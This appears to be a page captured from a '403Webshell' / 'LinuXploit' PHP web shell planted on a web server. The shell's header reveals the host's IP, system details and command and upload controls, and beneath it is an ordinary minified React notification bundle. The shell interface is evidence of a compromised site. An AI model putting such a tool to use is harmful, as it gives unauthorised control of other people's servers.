403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/elite-events-storybook/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/elite-events-storybook/589.3a61dc5a.iframe.bundle.js
"use strict";(self.webpackChunkelite_events_nextjs=self.webpackChunkelite_events_nextjs||[]).push([[589],{"./src/components/features/notifications/ConnectionIndicator/index.tsx":(__unused_webpack_module,__webpack_exports__,__webpack_require__)=>{__webpack_require__.d(__webpack_exports__,{_:()=>ConnectionIndicator});var react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__=__webpack_require__("./node_modules/next/dist/compiled/react/jsx-runtime.js"),_lib_core__WEBPACK_IMPORTED_MODULE_1__=__webpack_require__("./src/lib/core/index.ts");const sizeClasses={sm:"h-1.5 w-1.5",md:"h-2 w-2",lg:"h-2.5 w-2.5"},labelSizeClasses={sm:"text-[10px]",md:"text-xs",lg:"text-sm"};function ConnectionIndicator({isConnected,mode,className,showLabel=!1,size="md",animated=!0,showTooltip=!0,tooltipContent}){const dotClasses=(0,_lib_core__WEBPACK_IMPORTED_MODULE_1__.cn)("rounded-full flex-shrink-0",sizeClasses[size],isConnected?"bg-green-500 dark:bg-green-400":"bg-yellow-500 dark:bg-yellow-400",animated&&isConnected&&"animate-pulse"),labelText="realtime"===mode?"Live":"Polling",tooltip=tooltipContent||("realtime"===mode?"Connected - Real-time updates active":"Polling mode - Updates every 30 seconds");return(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{className:(0,_lib_core__WEBPACK_IMPORTED_MODULE_1__.cn)("flex items-center gap-1.5",className),role:"status","aria-live":"polite","aria-label":"Connection status: "+("realtime"===mode?"connected":"polling mode"),title:showTooltip?tooltip:void 0,children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("span",{className:dotClasses,"aria-hidden":"true"}),showLabel&&(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("span",{className:(0,_lib_core__WEBPACK_IMPORTED_MODULE_1__.cn)("text-gray-500 dark:text-gray-400 font-medium",labelSizeClasses[size]),children:labelText}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("span",{className:"sr-only",children:"realtime"===mode?"Connected to real-time updates":"Using polling for updates"})]})}},"./src/components/features/notifications/NotificationBell/index.tsx":(__unused_webpack_module,__webpack_exports__,__webpack_require__)=>{__webpack_require__.d(__webpack_exports__,{r:()=>NotificationBell});var jsx_runtime=__webpack_require__("./node_modules/next/dist/compiled/react/jsx-runtime.js"),react=__webpack_require__("./node_modules/next/dist/compiled/react/index.js"),icons=__webpack_require__("./src/components/ui/icons/index.ts"),core=__webpack_require__("./src/lib/core/index.ts"),NotificationPanel=__webpack_require__("./src/components/features/notifications/NotificationPanel/index.tsx"),ConnectionIndicator=__webpack_require__("./src/components/features/notifications/ConnectionIndicator/index.tsx"),esm=__webpack_require__("./node_modules/socket.io-client/build/esm/index.js"),next_auth_react=__webpack_require__("./node_modules/next-auth/react.js"),process=__webpack_require__("./node_modules/process/browser.js");const DEFAULT_OPTIONS={enabled:!0,autoConnect:!0,reconnectionAttempts:5,reconnectionDelay:1e3,reconnectionDelayMax:5e3};function useSocket(options={}){const opts={...DEFAULT_OPTIONS,...options},{data:session,status:authStatus}=(0,next_auth_react.wV)(),socketRef=(0,react.useRef)(null),[status,setStatus]=(0,react.useState)("disconnected"),[error,setError]=(0,react.useState)(null),[reconnectAttempts,setReconnectAttempts]=(0,react.useState)(0),socket=(0,react.useSyncExternalStore)((0,react.useCallback)(()=>()=>{},[]),()=>socketRef.current,()=>null),isAuthenticated="authenticated"===authStatus&&!!session?.user,isConnected="connected"===status,connect=(0,react.useCallback)(()=>{if(!opts.enabled||!isAuthenticated)return;if(socketRef.current?.connected)return;socketRef.current&&socketRef.current.disconnect(),setStatus("connecting"),setError(null);const socketUrl=process.env.NEXT_PUBLIC_SOCKET_URL||window.location.origin,socket=(0,esm.io)(socketUrl,{withCredentials:!0,transports:["websocket","polling"],reconnection:!0,reconnectionAttempts:opts.reconnectionAttempts,reconnectionDelay:opts.reconnectionDelay,reconnectionDelayMax:opts.reconnectionDelayMax,timeout:2e4,auth:{token:session?.accessToken||document.cookie.split("; ").find(row=>row.startsWith("next-auth.session-token="))?.split("=")[1]||document.cookie.split("; ").find(row=>row.startsWith("__Secure-next-auth.session-token="))?.split("=")[1]}});socket.on("connect",()=>{setStatus("connected"),setError(null),setReconnectAttempts(0)}),socket.on("disconnect",reason=>{setStatus("disconnected"),"io server disconnect"===reason&&setError(new Error("Server disconnected the connection"))}),socket.on("connect_error",err=>{setStatus("error"),setError(err)}),socket.io.on("reconnect_attempt",attempt=>{setStatus("connecting"),setReconnectAttempts(attempt)}),socket.io.on("reconnect",()=>{setStatus("connected"),setReconnectAttempts(0)}),socket.io.on("reconnect_failed",()=>{setStatus("error"),setError(new Error("Failed to reconnect after maximum attempts"))}),socket.on("error",()=>{}),socketRef.current=socket},[opts.enabled,isAuthenticated,session,opts.reconnectionAttempts,opts.reconnectionDelay,opts.reconnectionDelayMax]),disconnect=(0,react.useCallback)(()=>{socketRef.current&&(socketRef.current.disconnect(),socketRef.current=null,setStatus("disconnected"),setError(null),setReconnectAttempts(0))},[]),subscribe=(0,react.useCallback)(channels=>{socketRef.current?.connected&&socketRef.current.emit("subscribe",channels)},[]),unsubscribe=(0,react.useCallback)(channels=>{socketRef.current?.connected&&socketRef.current.emit("unsubscribe",channels)},[]),on=(0,react.useCallback)((event,handler)=>{const socket=socketRef.current;return socket?(socket.on(event,handler),()=>{socket.off(event,handler)}):()=>{}},[]);return(0,react.useEffect)(()=>(opts.autoConnect&&opts.enabled&&isAuthenticated&&queueMicrotask(()=>{connect()}),()=>{socketRef.current&&(socketRef.current.disconnect(),socketRef.current=null)}),[opts.autoConnect,opts.enabled,isAuthenticated,connect]),(0,react.useEffect)(()=>()=>{socketRef.current&&(socketRef.current.disconnect(),socketRef.current=null)},[]),{socket,status,isConnected,error,subscribe,unsubscribe,on,connect,disconnect,reconnectAttempts}}var store=__webpack_require__("./src/redux/store.ts"),notificationsSlice=__webpack_require__("./src/redux/features/notificationsSlice.ts");const useRealtimeNotifications_DEFAULT_OPTIONS={showBrowserNotifications:!0,playSound:!1,soundUrl:"/sounds/notification.mp3"};function useRealtimeNotifications(options={}){const opts={...useRealtimeNotifications_DEFAULT_OPTIONS,...options},{socket,isConnected,on,error,reconnectAttempts}=useSocket(),dispatch=(0,store.jL)(),unreadCount=(0,store.GV)(notificationsSlice.JO),notifications=(0,store.GV)(notificationsSlice.LG);(0,react.useEffect)(()=>{opts.showBrowserNotifications&&"Notification"in window&&"default"===Notification.permission&&Notification.requestPermission()},[opts.showBrowserNotifications]);const showBrowserNotification=(0,react.useCallback)(notification=>{if(opts.showBrowserNotifications&&"Notification"in window&&"granted"===Notification.permission){if("visible"===document.visibilityState)return;const browserNotification=new Notification(notification.title,{body:notification.message,icon:"/icons/icon-192x192.png",badge:"/icons/icon-72x72.png",tag:notification.id,data:{url:notification.link,notificationId:notification.id}});browserNotification.onclick=()=>{window.focus(),notification.link&&(window.location.href=notification.link),browserNotification.close()},setTimeout(()=>{browserNotification.close()},5e3)}},[opts.showBrowserNotifications]),playNotificationSound=(0,react.useCallback)(()=>{if(opts.playSound&&opts.soundUrl){const audio=new Audio(opts.soundUrl);audio.volume=.5,audio.play().catch(()=>{})}},[opts.playSound,opts.soundUrl]);(0,react.useEffect)(()=>{if(!isConnected)return;return on("notification",notification=>{dispatch((0,notificationsSlice.z8)(notification)),showBrowserNotification(notification),playNotificationSound()})},[isConnected,on,dispatch,showBrowserNotification,playNotificationSound]);const markAsRead=(0,react.useCallback)(ids=>{socket?.connected&&socket.emit("markRead",ids),ids.forEach(id=>{dispatch((0,notificationsSlice.Xs)(id))})},[socket,dispatch]);return{isConnected,unreadCount,notifications,markAsRead,mode:isConnected?"realtime":"disconnected",reconnectAttempts,error}}function useNotifications(options={}){const{pollingInterval=3e4,autoFetch=!0,limit=20}=options,{data:session,status}=(0,next_auth_react.wV)(),[notifications,setNotifications]=(0,react.useState)([]),[unreadCount,setUnreadCount]=(0,react.useState)(0),[isLoading,setIsLoading]=(0,react.useState)(!1),[error,setError]=(0,react.useState)(null),pollingRef=(0,react.useRef)(null),isAuthenticated="authenticated"===status&&!!session?.user,fetchNotifications=(0,react.useCallback)(async()=>{if(isAuthenticated){setIsLoading(!0),setError(null);try{const response=await fetch(`/api/notifications?limit=${limit}`);if(!response.ok)throw new Error("Failed to fetch notifications");const data=await response.json();setNotifications(data.notifications.map(n=>({id:n.id,type:n.type,title:n.title,message:n.message,link:n.link||void 0,read:n.read,createdAt:new Date(n.createdAt).toISOString()}))),setUnreadCount(data.unreadCount)}catch(err){setError(err instanceof Error?err.message:"Unknown error")}finally{setIsLoading(!1)}}},[isAuthenticated,limit]),markAsRead=(0,react.useCallback)(async id=>{if(isAuthenticated){setNotifications(prev=>prev.map(n=>n.id===id?{...n,read:!0}:n)),setUnreadCount(prev=>Math.max(0,prev-1));try{if(!(await fetch(`/api/notifications/${id}/read`,{method:"POST"})).ok)throw new Error("Failed to mark notification as read")}catch(err){setNotifications(prev=>prev.map(n=>n.id===id?{...n,read:!1}:n)),setUnreadCount(prev=>prev+1),setError(err instanceof Error?err.message:"Unknown error")}}},[isAuthenticated]),markAllAsRead=(0,react.useCallback)(async()=>{if(!isAuthenticated)return;const previousNotifications=[...notifications],previousUnreadCount=unreadCount;setNotifications(prev=>prev.map(n=>({...n,read:!0}))),setUnreadCount(0);try{if(!(await fetch("/api/notifications/read-all",{method:"POST"})).ok)throw new Error("Failed to mark all as read")}catch(err){setNotifications(previousNotifications),setUnreadCount(previousUnreadCount),setError(err instanceof Error?err.message:"Unknown error")}},[isAuthenticated,notifications,unreadCount]);return(0,react.useEffect)(()=>{autoFetch&&isAuthenticated&&fetchNotifications()},[autoFetch,isAuthenticated,fetchNotifications]),(0,react.useEffect)(()=>{if(isAuthenticated&&!(pollingInterval<=0))return pollingRef.current=setInterval(fetchNotifications,pollingInterval),()=>{pollingRef.current&&(clearInterval(pollingRef.current),pollingRef.current=null)}},[isAuthenticated,pollingInterval,fetchNotifications]),(0,react.useEffect)(()=>()=>{pollingRef.current&&clearInterval(pollingRef.current)},[]),{notifications,unreadCount,isLoading,error,isActive:isAuthenticated,refresh:fetchNotifications,markAsRead,markAllAsRead}}const useNotificationsWithFallback_DEFAULT_OPTIONS={pollingInterval:3e4,showBrowserNotifications:!0};function useNotificationsWithFallback(options={}){const opts={...useNotificationsWithFallback_DEFAULT_OPTIONS,...options},dispatch=(0,store.jL)(),{isConnected:isRealtimeConnected,markAsRead:realtimeMarkAsRead}=useRealtimeNotifications({showBrowserNotifications:opts.showBrowserNotifications}),polling=useNotifications({pollingInterval:isRealtimeConnected?0:opts.pollingInterval,autoFetch:!isRealtimeConnected}),notifications=(0,store.GV)(notificationsSlice.LG),unreadCount=(0,store.GV)(notificationsSlice.JO),isLoading=(0,store.GV)(notificationsSlice.li),reduxError=(0,store.GV)(notificationsSlice.p5),mode=isRealtimeConnected?"realtime":"polling";(0,react.useEffect)(()=>{!isRealtimeConnected&&polling.notifications.length},[isRealtimeConnected,polling.notifications]),(0,react.useEffect)(()=>{isRealtimeConnected&&dispatch((0,notificationsSlice.bb)({}))},[isRealtimeConnected,dispatch]);const markAsRead=(0,react.useCallback)(async id=>{isRealtimeConnected?(realtimeMarkAsRead([id]),dispatch((0,notificationsSlice.bA)(id))):await polling.markAsRead(id)},[isRealtimeConnected,realtimeMarkAsRead,dispatch,polling]),markAllAsRead=(0,react.useCallback)(async()=>{isRealtimeConnected?dispatch((0,notificationsSlice.he)()):await polling.markAllAsRead()},[isRealtimeConnected,dispatch,polling]),refresh=(0,react.useCallback)(async()=>{isRealtimeConnected?dispatch((0,notificationsSlice.bb)({})):await polling.refresh()},[isRealtimeConnected,dispatch,polling]);return{notifications:isRealtimeConnected?notifications:polling.notifications,unreadCount:isRealtimeConnected?unreadCount:polling.unreadCount,isLoading:isRealtimeConnected?isLoading:polling.isLoading,error:isRealtimeConnected?reduxError:polling.error,markAsRead,markAllAsRead,refresh,mode,isActive:isRealtimeConnected||polling.isActive,isRealtimeConnected}}function NotificationBell({pollingInterval=3e4,maxNotifications=10,showBrowserNotifications=!0,showConnectionStatus=!0,className}){const[isPanelOpen,setIsPanelOpen]=(0,react.useState)(!1),{notifications,unreadCount,isLoading,markAsRead,markAllAsRead,mode,isRealtimeConnected}=useNotificationsWithFallback({pollingInterval,showBrowserNotifications}),displayNotifications=notifications.slice(0,maxNotifications),handleTogglePanel=(0,react.useCallback)(()=>{setIsPanelOpen(prev=>!prev)},[]),handleClosePanel=(0,react.useCallback)(()=>{setIsPanelOpen(!1)},[]),handleMarkAsRead=(0,react.useCallback)(async id=>{await markAsRead(id)},[markAsRead]),handleMarkAllAsRead=(0,react.useCallback)(async()=>{await markAllAsRead()},[markAllAsRead]),handleNotificationClick=(0,react.useCallback)(notification=>{notification.read||markAsRead(notification.id),setIsPanelOpen(!1)},[markAsRead]);return(0,jsx_runtime.jsxs)("div",{className:(0,core.cn)("relative",className),children:[(0,jsx_runtime.jsxs)("button",{type:"button",onClick:handleTogglePanel,className:(0,core.cn)("relative p-2 text-gray-600 hover:text-gray-900 dark:text-gray-400 dark:hover:text-white transition-colors rounded-lg hover:bg-gray-100 dark:hover:bg-gray-800",isPanelOpen&&"text-gray-900 dark:text-white bg-gray-100 dark:bg-gray-800"),"aria-label":`Notifications${unreadCount>0?` (${unreadCount} unread)`:""}${"realtime"===mode?" - Live updates active":""}`,"aria-expanded":isPanelOpen,"aria-haspopup":"dialog",children:[(0,jsx_runtime.jsx)(icons.In,{name:"bell",className:"w-5 h-5"}),unreadCount>0&&(0,jsx_runtime.jsx)("span",{className:"absolute -top-0.5 -right-0.5 flex items-center justify-center min-w-[18px] h-[18px] px-1 text-xs font-bold text-white bg-red-500 rounded-full","aria-hidden":"true",children:unreadCount>99?"99+":unreadCount}),showConnectionStatus&&(0,jsx_runtime.jsx)(ConnectionIndicator._,{isConnected:isRealtimeConnected,mode,size:"sm",showLabel:!1,className:"absolute -bottom-0.5 -right-0.5"})]}),(0,jsx_runtime.jsx)(NotificationPanel.E,{isOpen:isPanelOpen,onClose:handleClosePanel,notifications:displayNotifications,unreadCount,isLoading,onMarkAsRead:handleMarkAsRead,onMarkAllAsRead:handleMarkAllAsRead,onNotificationClick:handleNotificationClick})]})}},"./src/components/features/notifications/NotificationItem/index.tsx":(__unused_webpack_module,__webpack_exports__,__webpack_require__)=>{__webpack_require__.d(__webpack_exports__,{r:()=>NotificationItem});var react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__=__webpack_require__("./node_modules/next/dist/compiled/react/jsx-runtime.js"),next_link__WEBPACK_IMPORTED_MODULE_1__=__webpack_require__("./node_modules/next/link.js"),next_link__WEBPACK_IMPORTED_MODULE_1___default=__webpack_require__.n(next_link__WEBPACK_IMPORTED_MODULE_1__),_components_ui_icons__WEBPACK_IMPORTED_MODULE_2__=__webpack_require__("./src/components/ui/icons/index.ts"),_lib_core__WEBPACK_IMPORTED_MODULE_3__=__webpack_require__("./src/lib/core/index.ts");const notificationIcons={ORDER_UPDATE:{icon:"package",color:"text-blue-500 bg-blue-100 dark:bg-blue-900/30"},PROMOTION:{icon:"tag",color:"text-purple-500 bg-purple-100 dark:bg-purple-900/30"},PRICE_DROP:{icon:"trending-down",color:"text-green-500 bg-green-100 dark:bg-green-900/30"},BACK_IN_STOCK:{icon:"check-circle",color:"text-emerald-500 bg-emerald-100 dark:bg-emerald-900/30"},REVIEW_RESPONSE:{icon:"chat-bubble",color:"text-orange-500 bg-orange-100 dark:bg-orange-900/30"},SUPPORT_RESPONSE:{icon:"support",color:"text-indigo-500 bg-indigo-100 dark:bg-indigo-900/30"},SYSTEM:{icon:"info-circle",color:"text-gray-500 bg-gray-100 dark:bg-gray-700"}};function formatRelativeTime(dateString){const date=new Date(dateString),diffMs=(new Date).getTime()-date.getTime(),diffSeconds=Math.floor(diffMs/1e3),diffMinutes=Math.floor(diffSeconds/60),diffHours=Math.floor(diffMinutes/60),diffDays=Math.floor(diffHours/24);return diffSeconds<60?"Just now":diffMinutes<60?`${diffMinutes}m ago`:diffHours<24?`${diffHours}h ago`:diffDays<7?`${diffDays}d ago`:date.toLocaleDateString()}function NotificationItem({notification,onMarkAsRead,onClick}){const{type,title,message,link,read,createdAt}=notification,iconConfig=notificationIcons[type]||notificationIcons.SYSTEM,handleClick=()=>{!read&&onMarkAsRead&&onMarkAsRead(),onClick&&onClick()},content=(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{className:(0,_lib_core__WEBPACK_IMPORTED_MODULE_3__.cn)("flex items-start gap-3 p-3 hover:bg-gray-50 dark:hover:bg-gray-800 transition-colors cursor-pointer",!read&&"bg-blue-50/50 dark:bg-blue-900/10"),onClick:handleClick,role:"button",tabIndex:0,onKeyDown:e=>{"Enter"!==e.key&&" "!==e.key||handleClick()},children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("div",{className:(0,_lib_core__WEBPACK_IMPORTED_MODULE_3__.cn)("flex-shrink-0 w-10 h-10 rounded-full flex items-center justify-center",iconConfig.color),children:(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)(_components_ui_icons__WEBPACK_IMPORTED_MODULE_2__.In,{name:iconConfig.icon,className:"w-5 h-5"})}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{className:"flex-1 min-w-0",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{className:"flex items-start justify-between gap-2",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("p",{className:(0,_lib_core__WEBPACK_IMPORTED_MODULE_3__.cn)("text-sm font-medium text-gray-900 dark:text-white truncate",!read&&"font-semibold"),children:title}),!read&&(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("span",{className:"flex-shrink-0 w-2 h-2 rounded-full bg-blue-500"})]}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("p",{className:"text-sm text-gray-600 dark:text-gray-400 line-clamp-2 mt-0.5",children:message}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("p",{className:"text-xs text-gray-500 dark:text-gray-500 mt-1",children:formatRelativeTime(createdAt)})]})]});return link?(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)(next_link__WEBPACK_IMPORTED_MODULE_1___default(),{href:link,className:"block",children:content}):content}},"./src/components/features/notifications/NotificationPanel/index.tsx":(__unused_webpack_module,__webpack_exports__,__webpack_require__)=>{__webpack_require__.d(__webpack_exports__,{E:()=>NotificationPanel});var react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__=__webpack_require__("./node_modules/next/dist/compiled/react/jsx-runtime.js"),react__WEBPACK_IMPORTED_MODULE_1__=__webpack_require__("./node_modules/next/dist/compiled/react/index.js"),next_link__WEBPACK_IMPORTED_MODULE_2__=__webpack_require__("./node_modules/next/link.js"),next_link__WEBPACK_IMPORTED_MODULE_2___default=__webpack_require__.n(next_link__WEBPACK_IMPORTED_MODULE_2__),_components_ui_icons__WEBPACK_IMPORTED_MODULE_3__=__webpack_require__("./src/components/ui/icons/index.ts"),_lib_core__WEBPACK_IMPORTED_MODULE_4__=__webpack_require__("./src/lib/core/index.ts"),_NotificationItem__WEBPACK_IMPORTED_MODULE_5__=__webpack_require__("./src/components/features/notifications/NotificationItem/index.tsx");function NotificationPanel({isOpen,onClose,notifications,unreadCount,isLoading=!1,onMarkAsRead,onMarkAllAsRead,onNotificationClick,className}){const panelRef=(0,react__WEBPACK_IMPORTED_MODULE_1__.useRef)(null);(0,react__WEBPACK_IMPORTED_MODULE_1__.useEffect)(()=>{if(!isOpen)return;function handleClickOutside(event){panelRef.current&&!panelRef.current.contains(event.target)&&onClose()}const timeoutId=setTimeout(()=>{document.addEventListener("mousedown",handleClickOutside)},0);return()=>{clearTimeout(timeoutId),document.removeEventListener("mousedown",handleClickOutside)}},[isOpen,onClose]),(0,react__WEBPACK_IMPORTED_MODULE_1__.useEffect)(()=>{if(isOpen)return document.addEventListener("keydown",handleEscape),()=>document.removeEventListener("keydown",handleEscape);function handleEscape(event){"Escape"===event.key&&onClose()}},[isOpen,onClose]);const handleMarkAsRead=(0,react__WEBPACK_IMPORTED_MODULE_1__.useCallback)(id=>{onMarkAsRead?.(id)},[onMarkAsRead]),handleNotificationClick=(0,react__WEBPACK_IMPORTED_MODULE_1__.useCallback)(notification=>{onNotificationClick?.(notification)},[onNotificationClick]);return isOpen?(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{ref:panelRef,className:(0,_lib_core__WEBPACK_IMPORTED_MODULE_4__.cn)("absolute right-0 top-full mt-2 w-80 sm:w-96 bg-white dark:bg-gray-900 rounded-lg shadow-lg border border-gray-200 dark:border-gray-700 z-50 overflow-hidden",className),role:"dialog","aria-label":"Notifications",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{className:"flex items-center justify-between px-4 py-3 border-b border-gray-200 dark:border-gray-700",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{className:"flex items-center gap-2",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("h2",{className:"font-semibold text-gray-900 dark:text-white",children:"Notifications"}),unreadCount>0&&(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("span",{className:"px-2 py-0.5 text-xs font-medium bg-blue-100 text-blue-800 dark:bg-blue-900/50 dark:text-blue-300 rounded-full",children:unreadCount})]}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{className:"flex items-center gap-2",children:[unreadCount>0&&(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("button",{type:"button",onClick:onMarkAllAsRead,className:"text-xs text-blue-600 hover:text-blue-700 dark:text-blue-400 dark:hover:text-blue-300 font-medium",children:"Mark all read"}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("button",{type:"button",onClick:onClose,className:"p-1 text-gray-400 hover:text-gray-600 dark:hover:text-gray-300 rounded","aria-label":"Close notifications",children:(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)(_components_ui_icons__WEBPACK_IMPORTED_MODULE_3__.In,{name:"x",className:"w-4 h-4"})})]})]}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("div",{className:"max-h-96 overflow-y-auto",children:isLoading?(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("div",{className:"flex items-center justify-center py-8",children:(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)(_components_ui_icons__WEBPACK_IMPORTED_MODULE_3__.In,{name:"spinner",className:"w-6 h-6 animate-spin text-gray-400"})}):0===notifications.length?(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{className:"flex flex-col items-center justify-center py-8 px-4 text-center",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)(_components_ui_icons__WEBPACK_IMPORTED_MODULE_3__.In,{name:"bell",className:"w-12 h-12 text-gray-300 dark:text-gray-600 mb-3"}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("p",{className:"text-sm text-gray-500 dark:text-gray-400",children:"No notifications yet"}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("p",{className:"text-xs text-gray-400 dark:text-gray-500 mt-1",children:"We'll notify you when something important happens"})]}):(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("div",{className:"divide-y divide-gray-100 dark:divide-gray-800",children:notifications.map(notification=>(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)(_NotificationItem__WEBPACK_IMPORTED_MODULE_5__.r,{notification,onMarkAsRead:()=>handleMarkAsRead(notification.id),onClick:()=>handleNotificationClick(notification)},notification.id))})}),notifications.length>0&&(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("div",{className:"border-t border-gray-200 dark:border-gray-700 p-2",children:(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)(next_link__WEBPACK_IMPORTED_MODULE_2___default(),{href:"/my-account",className:"block w-full text-center py-2 text-sm text-blue-600 hover:text-blue-700 dark:text-blue-400 dark:hover:text-blue-300 font-medium hover:bg-gray-50 dark:hover:bg-gray-800 rounded transition-colors",onClick:onClose,children:"View all notifications"})})]}):null}}}]);

Youez - 2016 - github.com/yon3zu
LinuXploit